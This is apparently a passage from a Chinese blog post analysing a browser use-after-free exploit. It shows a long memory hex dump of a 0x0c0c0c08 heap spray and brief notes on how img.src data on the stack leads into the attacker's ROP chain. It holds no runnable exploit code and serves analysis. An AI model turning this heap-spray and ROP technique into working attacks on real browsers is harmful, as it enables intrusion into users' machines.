0263bff0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c000 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c010 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c020 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c030 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c040 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c050 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c060 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c070 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c080 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c090 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c0a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c0b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c0c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c0d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c0e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c0f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c100 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c110 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c120 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c130 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c140 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c150 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c160 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c170 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c180 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c190 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c1a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c1b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c1c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c1d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c1e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c1f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c200 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c210 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c220 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c230 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c240 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c250 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c260 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c270 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c280 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c290 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c2a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c2b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c2c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c2d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c2e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c2f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c300 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c310 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c320 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c330 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c340 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c350 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c360 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c370 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c380 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c390 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c3a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c3b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c3c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c3d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c3e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c3f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c400 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c410 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c420 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c430 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c440 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c450 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c460 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c470 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c480 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c490 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c4a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c4b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c4c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c4d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c4e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c4f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c500 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c510 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c520 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c530 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c540 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c550 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c560 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c570 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c580 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c590 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c5a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c5b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c5c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c5d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c5e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c5f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c600 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c610 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c620 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c630 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c640 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c650 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c660 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c670 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c680 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c690 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c6a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c6b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c6c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c6d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c6e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c6f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c700 0c0c0c08 0c0c0c08 0c0c0c08 0000000f ................

0263c710 075559f8 07550000 07555ae0 0c0c0c08 .YU...U..ZU.....

0263c720 0c0c0c08 0c0c0c08 00000000 0000000e ................

0263c730 0263c81c 77985d5a 07555a70 0000000e ..c.Z].wpZU.....

0263c740 07555a78 075500c4 77985dd3 5d758a39 xZU...U..].w9.u]

0263c750 00000070 00000000 07550000 07550138 p.........U.8.U.

0263c760 0c0c0c08 0c0c0c08 07550138 0c0c0c08 ........8.U.....

0263c770 0755015c 0c0c0c08 0000000e 0c0c0c00 \.U.............

0263c780 07550138 0000001d 07620048 0c0c0c08 8.U.....H.b.....

0263c790 0000001d 0c0c0c08 0000000f 0c0c0c08 ................

0263c7a0 0c0c0c08 0c0c0c08 0c0c0c08 00000000 ................

0263c7b0 03000003 07554d90 2e00002e 0c0c0c08 .....MU.........

0263c7c0 0c0c0c08 00000000 0000007f 0c0c0c08 ................

0263c7d0 5b00aff4 07553a60 00000001 0c0c0c08 ...[`:U.........

0263c7e0 00000003 00000008 07555a00 07555a00 .........ZU..ZU.

0263c7f0 075559fb 00000000 000c0c08 07550000 .YU...........U.

0263c800 010c0c08 0263c74c 0c0c0c08 0263c960 ....L.c.....`.c.

0263c810 7794e0ed 288e579d fffffffe 77985dd3 ...w.W.(.....].w

0263c820 77985ae0 00000070 00000078 075559fa .Z.wp...x....YU.

0263c830 075559f8 00000070 061f6f38 061f6f28 .YU.p...8o..(o..

0263c840 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c850 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c860 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c870 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c880 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c890 00000003 00000070 07555a00 061f8f74 ....p....ZU.t...

0263c8a0 00000070 6c73bb2e 0263c8c4 6c73bbf9 p.....sl..c...sl

0263c8b0 07555af8 6c73eb11 07555af0 07555a3c .ZU...sl.ZU.<ZU.

0263c8c0 00000000 0263c8d8 6c737862 07555a3c ......c.bxsl<ZU.

0263c8d0 07555af0 07555a08 0263c8ec 6c73ebb7 .ZU..ZU...c...sl

0263c8e0 07555af0 07555b70 00000000 0263c8f8 .ZU.p[U.......c.

0263c8f0 6c73eb3f 07555af0 0263c924 6c73eb1d ?.sl.ZU.$.c...sl

0263c900 07555af0 07555b70 074a0040 6c7a08f8 .ZU.p[U.@.J...zl

0263c910 0263cabc 075559cc 04bd31e0 0263c93c ..c..YU..1..<.c.

0263c920 0263c970 6c7a191a 6c7a1922 6f2d036b p.c...zl".zlk.-o

0263c930 0263cd10 6c7f8b60 00000000 00000000 ..c.`..l........

0263c940 0c0c0c00 00000000 00000001 00000000 ................

0263c950 04bd31e0 00000001 0263c92c 0c0c0c08 .1......,.c.....

0263c960 0263cf7c 6c7626e1 0134d333 fffffffe |.c..&vl3.4.....

0263c970 6c7a1922 6c7a722b 075559cc 0263cabc ".zl+rzl.YU...c.

0263c980 0263c998 6c761ebc 075559b0 0263cabc ..c...vl.YU...c.

0263c990 0263cd10 6c7f8b60 0263cad0 6c77e2c5 ..c.`..l..c...wl

0263c9a0 075559cc 00000017 00000000 00000002 .YU.............

0263c9b0 0263cab4 00000000 0263cd10 6c7f8b60 ..c.......c.`..l

0263c9c0 00000017 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c9d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c9e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263c9f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ca90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263caa0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263cab0 0c0c0c08 0c0c0000 0c0c0c08 0c0c0c08 ................

0263cac0 0c0c0c08 00000006 00000000 010c0c08 ................

0263cad0 0263cb0c 6c76120c 075559cc 00000000 ..c...vl.YU.....

0263cae0 00000017 00000001 00000001 0263cd10 ..............c.

0263caf0 00000000 0263cd20 0263cbec 80020003 .... .c...c.....

0263cb00 0263cbec 00000017 04bd31e0 0263cb4c ..c......1..L.c.

0263cb10 6c761d16

Call dword ptr [eax+8]时进入攻击者rop chain部分。

3、小结

       img的nameProp属性的调用,将会在栈上保留img.src的内容。

当该漏洞被触发时,攻击者布局的数据被当作对象内存使用,导致攻击成功。

  评论这张
 
阅读(554)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017